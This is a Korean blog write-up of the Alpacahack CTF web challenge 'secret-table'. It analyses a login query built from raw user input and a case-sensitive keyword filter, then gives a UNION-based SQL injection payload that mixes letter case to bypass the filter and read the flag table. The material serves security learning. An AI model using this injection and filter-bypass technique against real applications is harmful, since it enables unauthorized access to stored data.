Alpacahack: secret-table

2026. 1. 20. 17:01·Alpacahack
반응형

문제설명

Topic: SQL

분야: Web

난이도: Medium

The secret table is untouchable!


코드 분석

  • username과 password를 나타냄
  • alpaca면 pacapaca / guest면 password / admin 이면 fb8fe2baa0190046

  • username과 password는 이용자 입력으로 받음
  • username과 apssword 값이 secret이면 The table is secret출력
  • database.db에 연결하고 쿼리문 출력
  • 에러면 에러 반환, user가 없다면 invalid credentials 출력

  • SQL문 실행하는데 users 테이블을 만드는데 username은 기본키 password는 null값이 아니여야 함 (반드시 값이 있어야 함)
  • USERS의 딕셔너리를 하나씩 순회하는데 users테이블에 username과 password를 삽입 이미 있으면 삽입 무시
  • secret 테이블을 만드는데 컬럼은 flag이고 기본 키이다.
  • flag테이블에 FLAG 값 추가

취약점 분석

 

사용자의 입력 그대로 SQL구문이 실행됨

SELECT * FROM users WHERE username='{username}' AND password='{password}';

 

 

  • WAF에서 secret이라는 소문자만 막고 있음 대/소문자 섞거나 대문자로 우회가능

익스플로잇

' UNION SELECT flag, 'x' FROM SeCrEt -- ' AND password='1111';
  • UNION 문구를 이용해 SQL구문을 연결해 실행
  • users의 컬럼 수가 2개 맞춰서 flag 'x' 컬럼 2개 생성
  • secret만 막으니까 SeCrEt로 우회

이대로 Username에 삽입해주면

SELECT * FROM users WHERE username='' UNION SELECT flag, 'x' FROM SeCrEt -- ' AND password='anything'; ' AND password='1111';

이러한 구문이 완성되고 실행됨


플래그 획득

 

반응형

'Alpacahack' 카테고리의 다른 글

Alpacahack: Stateless Auth  (0) 2026.01.25
Alpacahack: Animal Viewer  (0) 2026.01.22
Alpacahack: dice roll  (0) 2026.01.21
Alpacahack: Fushigi Crawier  (0) 2026.01.19
Alpacahack: I wanna be the Admin  (0) 2026.01.16
'Alpacahack' 카테고리의 다른 글
  • Alpacahack: Animal Viewer
  • Alpacahack: dice roll
  • Alpacahack: Fushigi Crawier
  • Alpacahack: I wanna be the Admin
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    CSRF
    cve
    webhacking
    xss
    JavaScript
    alpacahack
    DreamHack
    hacking
    JS
    webstudy
    LLM
    드림핵
    web
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Alpacahack: secret-table
상단으로

티스토리툴바